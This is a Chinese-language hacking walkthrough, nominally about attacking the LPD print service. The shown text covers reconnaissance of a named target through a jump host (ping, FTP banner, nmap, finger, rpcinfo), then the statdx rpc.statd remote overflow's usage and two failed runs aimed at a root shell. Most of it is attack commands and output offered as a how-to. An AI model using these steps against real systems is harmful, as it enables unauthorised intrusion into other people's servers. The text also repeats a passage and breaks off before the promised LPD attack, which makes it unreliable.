關(guān)于網(wǎng)絡(luò)打印服務(wù)攻擊的介紹
此文的目的不在于教人入侵Linux服務(wù)器,而是為了提高自身的技術(shù)和加強(qiáng)網(wǎng)絡(luò)管理員的安全防范意識(shí)。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白:由于你們一個(gè)小小的操作失誤可能會(huì)導(dǎo)致整個(gè)網(wǎng)絡(luò)全面淪陷!本文主要是圍繞LPD:網(wǎng)絡(luò)打印服務(wù)的攻擊而進(jìn)行的。
首先確定目標(biāo),假設(shè)是:www.XXX.com
先讓俺看看是不是連得上:
以下是引用片段:
C:\ping www.XXX.com Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 Ping statistics for 202.106.184.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 511ms, Maximum = 651ms, Average = 580ms 嘻嘻—不但連得上,速度還不錯(cuò)…… 先telnet看看banner: C:\>telnet www.XXX.com |
遺失對(duì)主機(jī)的連接。
再試試ftp,
以下是引用片段:
C:\>ftp www.XXX.com Connected to www.fbi.gov.tw. 220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. User (www.XXX.com:(none)): |
wu-2.6.1看來(lái)有點(diǎn)眉目了。這臺(tái)機(jī)器像是RedHat7.0!首先必須確認(rèn)一下,連上俺的跳板:
以下是引用片段:
C:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release 7.0 (Guinness) Kernel 2.2.16-22smp on an i686 login: fetdog Password: bash-2.04$ |
拿nmap掃描器(下載地址:http://www.heibai.net/download/Soft/Soft_2812.htm),看看其中的奧妙~~~
以下是引用片段:
bash-2.04$nmap -sT -O www.XXX.com Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.XXX.com): (The 1520 ports scanned but not shown below are in state: closed) Port State Service 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open sunrpc 113/tcp open auth 443/tcp open https 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty=3247917 (Good luck!) Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds |
打開(kāi)的端口還挺多,這意味著入侵的可能性增加。79/tcp open finger ,先看看這個(gè),不過(guò)linux沒(méi)有finger用戶列表這個(gè)漏洞。
以下是引用片段:
bash-2.04$finger @www.XXX.com [www.XXX.com] No one logged on. |
再看看111/tcp open sunrpc 。近來(lái)rpc漏洞風(fēng)行,不知道RH7這個(gè)東東會(huì)不會(huì)有?先看看再說(shuō)!
以下是引用片段:
bash-2.04$rpcinfo -p www.XXX.com program vers proto port service 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100024 1 udp 1025 status 100024 1 tcp 1024 status |
看來(lái)有rpc.statd服務(wù)。來(lái)看看能不能遠(yuǎn)程溢出拿個(gè)rootshell。
以下是引用片段:
bash-2.04$./statdx -h statdx by ron1n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query] -a the stack address of the buffer is -l the length of the buffer is [1024] -o the offset to return to is [600] -w the number of dwords to wipe is [9] -s set timeout in seconds to [5] -d use a hardcoded Available types: 0 RedHat 6.2 (nfs-utils-0.1.6-2) 1 RedHat 6.1 (knfsd-1.4.7-7) 2 RedHat 6.0 (knfsd-1.2.2-4) |
看來(lái)并不支持RH7。還是繼續(xù)嘗試,把0-2全部試試看再說(shuō)!start……
bash-2.04$stat -d 0 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
受挫,再試……
bash-2.04$stat -d 1 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
一樣``繼續(xù)
以下是引用片段:
bash-2.04$finger @www.XXX.com [www.XXX.com] No one logged on. |
再看看111/tcp open sunrpc 。近來(lái)rpc漏洞風(fēng)行,不知道RH7這個(gè)東東會(huì)不會(huì)有?先看看再說(shuō)!
【編輯推薦】